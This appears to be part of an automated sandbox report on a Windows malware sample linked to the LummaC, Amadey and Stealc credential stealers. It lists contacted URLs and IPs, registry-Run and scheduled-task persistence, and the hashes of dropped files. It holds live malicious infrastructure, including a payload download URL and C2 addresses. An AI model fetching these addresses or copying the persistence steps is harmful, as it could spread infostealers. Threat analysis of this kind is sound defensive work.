https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exe7	skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 00000022.00000002.2884390196.000001F369B9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447692855.000001F3724EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/Z	firefox.exe, 00000022.00000002.2540256661.000000E5CD000000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://watch.sling.com/	firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.1453154723.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 6c1c4a36e1.exe, 00000012.00000003.2302114944.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2283723837.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2285957925.0000000001460000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2321077874.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000141F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2283516905.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2301693773.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302606153.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2301693773.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302606153.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001491000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2321077874.0000000001490000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2285577921.0000000001493000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.0000000001413000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2284213828.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001461000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302114944.0000000001461000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sextractScheme	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/apilowWarningViaUpgradechunkedTransfer-EncodingTrailerno-cachePragmaK	6c1c4a36e1.exe, 00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 00000022.00000003.2447988783.000001F371EA9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000022.00000003.2444404461.000001F372530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.avito.ru/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items	firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.184.238	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546662
Start date and time:	2024-11-01 12:12:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@45/21@39/11
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, time.windows.com, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 6c1c4a36e1.exe, PID 5640 because there are no executed function
Execution Graph export aborted for target SU4Z0W976Y8CJ3Z4HHN.exe, PID 7860 because it is empty
Execution Graph export aborted for target file.exe, PID 5140 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8108 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:13:08	API Interceptor	12x Sleep call for process: file.exe modified
08:16:03	API Interceptor	390x Sleep call for process: skotes.exe modified
08:16:17	API Interceptor	12x Sleep call for process: 6c1c4a36e1.exe modified
13:15:09	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
13:16:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6c1c4a36e1.exe C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe
13:16:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4b41d9dd20.exe C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe
13:16:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9af14a3c40.exe C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe
13:16:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe
13:16:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6c1c4a36e1.exe C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe
13:17:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4b41d9dd20.exe C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe
13:17:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9af14a3c40.exe C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
necklacedmny.store	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	34.117.77.79
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	Alvise Maria CV 1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	Action Desk Support 01 Nov.msg	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.194
	kill.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://edgeupgrade.com	Get hash	malicious	Unknown	Browse	104.22.48.74
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pcapp.store/pixel.gif	Get hash	malicious	Unknown	Browse	172.67.15.14
	draft contract for order #782334.exe	Get hash	malicious	FormBook	Browse	172.67.131.32
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PWS.Lumma.775.32093.2339.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
